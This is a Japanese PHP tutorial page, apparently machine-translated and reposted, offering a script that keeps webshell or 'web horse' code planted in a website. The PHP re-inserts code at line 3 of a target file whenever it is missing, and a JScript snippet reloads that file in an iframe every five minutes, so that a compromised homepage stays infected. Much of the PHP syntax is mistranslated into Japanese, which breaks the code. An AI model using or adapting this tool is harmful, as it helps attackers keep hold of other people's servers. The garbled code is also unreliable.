ホームページ > バックエンド開発 > PHPチュートリアル > PHP は file_PHP チュートリアルの指定された行にコードを書き込みます

PHP は file_PHP チュートリアルの指定された行にコードを書き込みます

WBOY
リリース: 2016-07-13 17:50:19
オリジナル
850 人が閲覧しました

一部の Web サイトのホームページはキャッシュされたページであり、追加した Webhorse コードまたは WebShell コードは更新やその他の要因によって頻繁に強制終了されるため、このコードを作成しました:


$file="aa.php" ;

$code="";

$f=fopen($file,"r+");

$content=fread($f,filesize($file));

fclose($f);

if(!strstr($content,$code)){

$arrInsert = insertContent($file, $code, 3);

リンク解除($file);



foreach($arr$value として挿入)

{

file_put_contents($file, $value, FILE_APPEND);

}



}



function insertContent($source, $s, $iLine) {

$file_handle = fopen($source, "r");

$i = 0;

$arr = array();

while (!feof($file_handle)) {

$line = fgets($file_handle);

++$i;

if ($i == $iLine) {

$arr[] = $line .$s . "n";

}その他{

$arr[] = $line;

}

}

fclose($file_handle);

$arr を返します;

}

?>

このファイルを php に保存した後、小さなプログラムを使用して数分ごとに実行できます。 Opera などのブラウザにはこの機能があります。ただし、実行するために別の HTML コードを追加しました。IE を使用して、HTML を開いて任意の場所にスローすることができます。











<スクリプト言語="JScript">

関数 singOut() {

var O = document.createElement("iframe");

O.src="http:// www.2cto.com / 上記の php ファイル.php";

O.width=100;

O.高さ=100;

document.body.appendChild(O);

}

window.setInterval("singOut();",300000);





http://www.bkjia.com/PHPjc/478274.htmlwww.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/478274.html技術記事一部の Web サイトのホームページはキャッシュされたページであり、追加した Web ホース コードまたは Web シェル コードは更新やその他の要因によって強制終了されることが多いため、次のコードを作成しました: ?php $file=aa.php...
ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
最新の問題
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート